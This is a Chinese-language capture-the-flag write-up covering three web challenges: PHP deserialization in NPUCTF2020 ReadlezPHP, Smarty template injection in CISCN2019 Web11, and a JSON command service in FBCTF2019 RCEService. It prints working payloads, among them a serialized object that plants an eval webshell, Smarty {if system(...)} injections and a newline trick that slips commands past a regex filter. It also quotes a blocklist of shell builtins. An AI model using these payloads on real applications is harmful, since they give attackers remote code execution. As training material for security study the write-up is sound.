8-14刷题(php反序列化,Smarty ssti,json命令执行)
程序员文章站
2022-05-14 08:49:51
...
[NPUCTF2020]ReadlezPHP
找到time.php?source,打开的得到time.php的源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
不包含source就可执行反序列化,试一下文件读取
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = 'index.php';
$this->b = "highlight_file";
}
}
$abc=new HelloPhp;
echo serialize($abc);
读取成功但是没什么有用的东西,试下命令执行
payload:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
看到禁用了system等一些命令函数,当时想的是构造一个一句话连上去用LD_PRELOAD来执行命令
一句话:O:8:"HelloPhp":2:{s:1:"a";s:16:"eval($_POST[1]);";s:1:"b";s:6:"assert";}
但是连上去之后啥都没有,后来在phpinfo里找到了flag
[CISCN2019 华东南赛区]Web11
Smarty框架,注意右上角获取ip的,可能在xff有注入,试一下ssti {{7*7}}显示49存在注入
先看一下Smarty的版本 {$smarty.version}
版本是3.1.30
这里我们用if标签来注入 参考了Smarty ssti
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等
{if phpinfo()}{/if}
成功执行,同时我们在禁用函数里看到没有函数被禁用那么直接system读就可以了
{if system('echo `ls /`')}{/if}
{if system('cat /flag')}{/if}
[FBCTF2019]RCEService
json格式输入命令: {"cmd":"ls"}回显index.php但是不能cat估计过滤了
后来看其他人的博客才知道原本是给源码的
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;aaa@qq.com\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
过滤非常严格,但是preg_match可以用换行绕过
注意,ls可以用但是cat不行,所以要改变一下思路,先看一下当前目录有什么
?cmd={%0A"cmd": "ls /home/rceservice/"%0A}
cat在/bin目录下我们绝对目录命令就可以了
?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
上一篇: 攻防世界杂项 gif
下一篇: 【BUUCTF】MISC 被偷走的文件